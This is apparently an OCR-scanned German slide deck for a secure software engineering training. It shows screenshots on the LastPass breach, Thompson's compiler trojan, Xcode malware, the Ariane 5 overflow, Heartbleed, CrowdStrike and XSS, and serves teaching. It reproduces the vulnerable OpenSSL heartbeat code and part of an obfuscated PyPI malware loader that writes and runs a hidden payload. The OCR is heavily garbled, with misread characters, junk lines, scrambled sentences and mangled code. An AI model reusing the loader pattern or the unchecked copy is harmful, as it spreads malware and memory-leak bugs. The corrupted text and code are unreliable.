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Lastpass says hackers accessed customer data in new breach

By Sergiu Gatlan

November 30, 2022 04:24 PM 10

TechRepublic

LastPass Review 2024: Is it Still Safe and Reliable?

LastPass' recent data breaches make it hard to recommend as a viable password M
manager in 2024. Learn more in our full review below.

vor 1 Monat

[® cybemnews

LastPass Review in 2024: Is It Safe? Is LastPass -

safe?
After major LastPass security breaches, | look at and evaluate LastPass's security, @) neviewes

features, and ease of use to see if it's worth trusting...

vor 3 Wochen

E Krebs on Security

Experts Fear Crooks are Cracking Keys Stolen in LastPass
Breach

In November 2022, the password manager service LastPass disclosed a breach in
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FORTINET VULNERABILITIES DISCOVERED BY YEAR
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TURING AWARD LECTURE

Reflections on Trusting Trust

To what extent should one trust a statement that a program is free of Trojan

horses? Perhaps it is more important to trust the people who wrote the
software.

MORAL
The moral is obvious. You can't trust code that you did
not totally create vourself. (Especially code from com-
panies that employ people like me.) No amount of
source-level verification or scrutiny will protect you
from using untrusted code. In demonstrating the possi-
bility of this kind of attack, I picked on the C compiler.
I could have picked on any program-handling program
such as an assembler, a loader, or even hardware mi-
crocode. As the level of program gets lower, these bugs
will be harder and harder to detect. A well-installed
' 11l be ' ' ct.

KEN THOMPSON

August 1984 Volume 27 Number 8
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Malware infiziert iOS-Compiler Xcode
20.00.2015 12:10Uhr - Thomas Hoffmann of )l vorlesen

| (Bild: dpa, Sebastian Kahnert/Archiv)

Uber eine Objekt-Datei im Installer des i0S-App-Compilers Xcode wurde chinesischen
Entwicklern eine Malware untergeschoben, die es in mindestens 39 Apps bereits in den
offiziellen App-Store geschafft hat.
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Der erste Flug der Ariane 5 \
' Bundesverband IT-Sicherheit e.V.

1996 startete die Esa ihre neue Ariane-5-Rakete zum ersten Mal. Anders als
urspriinglich geplant, war die Ariane 5 keine verbesserte Ariane 4, sondern eine
villig neue Rakete. Kein Teil war mehr gleich. Jeder der beiden Feststoffhooster
hatte allein schon mehr Schub als die grofite Variante der Ariane 4. Bei 66
Prozent mehr Startmasse hatte die Ariane 5 einen um 140 Prozent gréfseren

Schub. Sie hob viel schneller ab und es wirkten im Flug viel gréfiere Krifte.
—_— e —— p— _,..-——-._________.._‘__._,.ﬂ"""h_.-'—-m___-l—-

iibernommen werden, weil sie bisher zuverlédssig funktioniert hatte und die

Neumﬁckl%pre esen ware. Die Ariane 5 sollte trotzdem von

Die Hardware war viéllig neu. Nur die Software sollte von der alten Ariane <

Nur 37 Sekunden nach dem Start musste die Rakete aber gesprengt werden. Die
viel gréfseren Querbeschleunigungen wurden ihr zum Verhdngnis. Der Messwert
der Beschleunigung wurde als (signed) 16-bit Integer weitergegeben. Als die den
magischen Wert von 32768 iibersprang und zur -32767 wurde, 16ste das eine
Fehlermeldung aus, die in ADA standardméfsig zum Abbruch des
Steuerprogramms fiithrte. Darauthin blieben die Steuerdiisen in ihrer Position
stecken und die Rakete drehte sich quer zur Flugrichtung.

MI"-W _",.ll‘—"-\-._ ____,_-____‘_‘____,___—l—_"--._.-l""
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https://tools.ietf.org/html/rfc6520

tlsl process heartbeat (SSL *s)
{
unsigned char *p = &s->s3->rrec.datal0], *pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16;

/* Read type and payload length first */
hbtype = *p++;
n2s (p, payload);
pl = p;

[...]

if (hbtype == TLSl_HB_REQUEST)
{
unsigned char *buffer, *bp;
int r;

/* Allocate memory for the response,
size is 1 bytes
* message type, plus 2 bytes payload
length, plus
* payload, plus padding
*/
buffer = OPENSSL malloc(l + 2 + payload
+ padding) ;
bp = buffer;

/* Enter response type, length and copy
payload */

*bp++ = TLS1 HB RESPONSE;

s2n (payload, bp);

memcpy (bp, pl, payload) ;

r = ssl13 write bytes(s,
TLS1 RT HEARTBEAT, buffer, 3 + payload + padding);

typedef struct ssl3 record st
{
int type;
unsigned int length;
unsigned int off;
unsigned char *data;
unsigned char *input;
unsigned char *comp;
unsigned long epoch;
unsigned char seq num[8];
} SSL3_RECORD;

struct {
HeartbeatMessageType type;
uintl6 payload length;

opaque padding[padding length];
} HeartbeatMessage;

#define n2s(c,s) ((s=(((unsigned

int) (c[01))<< 8)| (((unsigned int) (c[11)))),c+=2)
Ergibt:

((payload=(((unsigned int) (p[0]))<< 8) | (((unsigned
int) (p[11)))),p+=2);
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opaque payload[HeartbeatMessage.payload length];






HOW THE HEARTBLEED BUG WORKS:
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ARE YOU STiLL THERE?

SERVER,
IF 50, REPLY *POTATO" (6 LETTERS).

)

ser Meg wants these 6 letters: POTRTO.

ar Meg wants these 6 letters: POTATO.

SERVER, ARE. YOU STILL THERE?
IF 50, REPLY "BIRD" (4 LETTERS).

J

ar Meg wants these 500 letters: HAT.
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The Hacker News

A Home ¥ Newsletter ™ Webinars

Registrieren

116 Malware Packages Found on PyPI Repository Infecting Windows and
Linux Systems

£ Dec 14,2023 & Ravie Lakshmanan

(=] __init__.py

dasudhquwei2=b'''from builtins import *;52255555225552225...ff\xC

tempfile NamedTemporaryFile dgwdi123232ads

Sys executable dajdhl2i3il12idasd

0S system dausdhyi2l3iasdw
dwgjo31203odsads dgwdii123232ads(delete= )
dwgjo31203odsads.write(dasudhquwei2)
dwqjo31203odsads.close( )

: dausdhyi2l3iasdw(f"start {dajdh12i3i12idasd.replace('.exe', 'w.exe')}
{dwgjo312030dsads.name}" )
: dausdhyi2l3iasdw(f"start pythonw.exe {dwqjo31203odsads.name}")

dasudhquwei2l=b'''import os
import base6d
from sys import executable
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1 1 heise+ gratis testen Anmelden
,' helse Onllne & 9 Bundesverband IT-Sicherheit e.V.

/o heise+ 1T Wissen Mobiles Security Developer Entertainment Netzpolitik Wirtschaft Journal
e TS -~~~

Crowdstrike-Ausfall: Analyse zeigt trivialen
Programmierfehler

In einem umfangreichen und unnétig komplizierten Dokument erklart der
Hersteller seine Fehler und nennt VerbesserungsmalBnahmen fiir die Sicherheits-

Delta files $500 million lawsuit against CrowdStrike following
July outage

With Delta describing its operations as “crippled... for several days” in the wake of the
19 July CrowdStrike software crash,...

vor 1 Tag
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TeleTrusT Professional for Secure Software Engineering

TeleTrusT hat 2016 die Tragerschaft des "CPS5E"-
Zertifizierungsprogrammes von ISSECO dbermnommen. Die Marke T’ p" S“ S“ E o

wurde in "T.P.5.5.E." gedndert. TeleTrusT ist Rechteinhaber der
Marke TP.S.5.E.

TelaTrusT Professional for Secure Software Enginearing

Durch Integration des Themas IT-Sicherheit in den "Software Development Lifecycle” lassen sich
Sicherheitslicken und Schwachstellen vorausschauend vermeiden. Dadurch kénnen zahlreiche Angriffe
effizient verhindert werden. Sichere Software-Entwicklung ist gelebte Informationssicherheit. Schwerpunkt
der T.P.5.5 E -Zertifizierung ist die Expertise, wie und wo Softwarenentwicklung mit Sicherheitsaspekten
sinnvoll ergéanzt werden kann. Mit Absolvierung einer Schulung und der unabhangigen Prafung zum
T.P.5.5.E. wird als Qualifikationsnachweis ein anerkanntes Personenzertifikat erworben.

T.P.5.5.E.-Absolventen und -Absolventinnen

= konnen typische Fehler bei der Softwareentwicklung, die im Betrieb der Software potenziell zu
Angriffen flhren, rechtzeitig als solche erkennen und beseitigen;

= konnen die Softwareentwicklungs-Prozesse in Unternehmen und Organisationen nachhaltig
verbessern;

» kennen zahlreiche Tools im Bereich sicherer Softwareentwicklung.
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B}~ Google Q| o

€  @127.0.0.1/hacking/xss/simple1.phpZhame=<st v X | g

KSS Attack File Edit View Settings Diagram Reports Help

l

€ ) @10.1.1.6:8080/fileupload-wrong/Ffileupload.jsp v E'| ™ |Q Search |

File Upload - V1.0 L

Image to upload: Browse... | No file selected. ' Upload
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secorvo m Sicherheitsiberpriifungen  Prozesse & Org:

Lty comaiting UMTERMEHMENM NEWS CONSULTING SEMINARE EVENTS PUBLIKATIONEM an Eviden businass

T.RPS.S.E. — |hr Training fir mehr Softwaresicherheit

T.P.S.S.E.

sichere softwareentwicklung

T.RS5.5.E. steht fur TeleTrusT Professional for Secure Softwars Engineering. Als zugelassener Schulungsanbigter fir die T.

Sie SEC Consult dabei, Sicherheitslicken zu vermeiden und |hre Rezilienz gegeniiber Cyberattacken proaktiv zu verbessemn

Wer kann durch T.P.S.S.E. profitieren?

Ziel ist 3, eine systematische Integration des Themas ,Sicherheit” in [hrem Software-Development-Lifecycle-Prozess nact

insbesondere Ihre Softwarearchitekt*innen, Projektmanager innen und Enmtwickler*innen von T.R5.5.E. Nach dem Training

sichere Programmisrmuster routiniert anzuwenden. Wer sich der unabhangigen Prifung zum T.RS.5.E. unterzieht, kann al:

https://www'secorvo'delsemi nare/tpsse' html anerkanntes Personenzertifikat erwerben.

T.P.S.S.E. - TELETRUST PROFESSIONAL FOR SECURE SOFTWARE Praxisorientiert und immer up to date
ENGINEERING

Unsere Expert*innen gewinnen ihre Erkenntnisse direkt aus unseren Cyber-Security-Projekten und der Incident-Response. [

praxisbezogen und immer auf dem aktuellsten Stand. Der interaktive Lehrplan wird mit Fallbeispielen aus der Praxis ergén

sichere Software-Entwicklung ist daher gelebte natige Ristzeug, um sichere Software-Entwicklungs-Prozesse aufzubauen und nachhaltig zu verbessern

MEHRWERT

Das Wichtigste im Uberblick

» Beschreibung: Generisches agiles Training fir die sichere Softwareentwicklung.

* Dauer: 4 Tage mit anschliefender Prifung und Ausstellung des Zertifikats unter der Leitung von DEKRA
* Mindestanzahl pro Workshop sind 4 Teilnehmer*innen; maximal 15
= Ort: nach Absprache {enline cder on-site)

= CPE-Credits: 29 {ISACA), 24 (I5C?) — 1.450 Minuten

/St e s e e SafuA MK 4 eI 8 4B e T.P.S.S.E.-Syllabus

= Bewusstseinsbildung & Begriffsdefinitionen
ZIELGRUPPE

» application Vulnerabilities

= Secure Software Development TE'E'TI" ST

che ist Deutsch. Secorvo ist anerka e 5.5.E~«3chulungsanbiete Paigas o IT S8dl

» Reifegradmodelle Burdiesverband | T-Sicherhedt eV

= Secure Software Supply Chain
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Vielen Dank fur Ihre Aufmerksamkeit

alexander.rechberger@sec-consult.com
kai.jendrian@secorvo.de
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